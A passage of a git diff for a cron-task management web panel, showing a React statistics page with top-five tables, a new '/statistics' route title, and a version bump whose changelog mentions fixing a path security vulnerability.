className="stats-section"
|
||||||
|
title={intl.get('今日平均耗时 Top 5')}
|
||||||
|
loading={loading}
|
||||||
|
>
|
||||||
|
<Table
|
||||||
|
dataSource={topDuration}
|
||||||
|
columns={topDurationColumns}
|
||||||
|
rowKey="cron_id"
|
||||||
|
pagination={false}
|
||||||
|
size="small"
|
||||||
|
locale={{ emptyText: intl.get('今日暂无执行记录') }}
|
||||||
|
/>
|
||||||
|
</Card>
|
||||||
|
</Col>
|
||||||
|
<Col xs={24} lg={12}>
|
||||||
|
<Card
|
||||||
|
className="stats-section"
|
||||||
|
title={intl.get('今日执行次数 Top 5')}
|
||||||
|
loading={loading}
|
||||||
|
>
|
||||||
|
<Table
|
||||||
|
dataSource={topCount}
|
||||||
|
columns={topCountColumns}
|
||||||
|
rowKey="cron_id"
|
||||||
|
pagination={false}
|
||||||
|
size="small"
|
||||||
|
locale={{ emptyText: intl.get('今日暂无执行记录') }}
|
||||||
|
/>
|
||||||
|
</Card>
|
||||||
|
</Col>
|
||||||
|
</Row>
|
||||||
|
</PageContainer>
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
export default Statistics;
|
||||||
@@ -504,6 +504,7 @@ export default {
|
|||||||
'/login': intl.get('登录'),
|
'/login': intl.get('登录'),
|
||||||
'/initialization': intl.get('初始化'),
|
'/initialization': intl.get('初始化'),
|
||||||
'/crontab': intl.get('定时任务'),
|
'/crontab': intl.get('定时任务'),
|
||||||
|
'/statistics': intl.get('统计面板'),
|
||||||
'/env': intl.get('环境变量'),
|
'/env': intl.get('环境变量'),
|
||||||
'/subscription': intl.get('订阅管理'),
|
'/subscription': intl.get('订阅管理'),
|
||||||
'/config': intl.get('配置文件'),
|
'/config': intl.get('配置文件'),
|
||||||
|
|||||||
+5
-10
@@ -1,11 +1,6 @@
|
|||||||
version: 2.20.1
|
version: 2.20.2
|
||||||
changeLogLink: https://t.me/jiao_long/433
|
changeLogLink: https://t.me/jiao_long/434
|
||||||
publishTime: 2025-12-26 22:00
|
publishTime: 2026-03-01 1800
|
||||||
changeLog: |
|
changeLog: |
|
||||||
1. 修复获取依赖管理列表
|
1. 修复 path 安全漏洞(重要)
|
||||||
2. notify.js 修复 TG_PROXY_AUTH 参数拼接
|
|
||||||
3. QLAPI.notify larkSecret 参数
|
|
||||||
4. 修复 cron parser 定时规则校验
|
|
||||||
5. 修复设置 baseUrl 后无法访问
|
|
||||||
6. 修复环境变量排序
|
|
||||||
7. 修复定时任务无法停止
|
|
||||||
Reference in New Issue
Block a user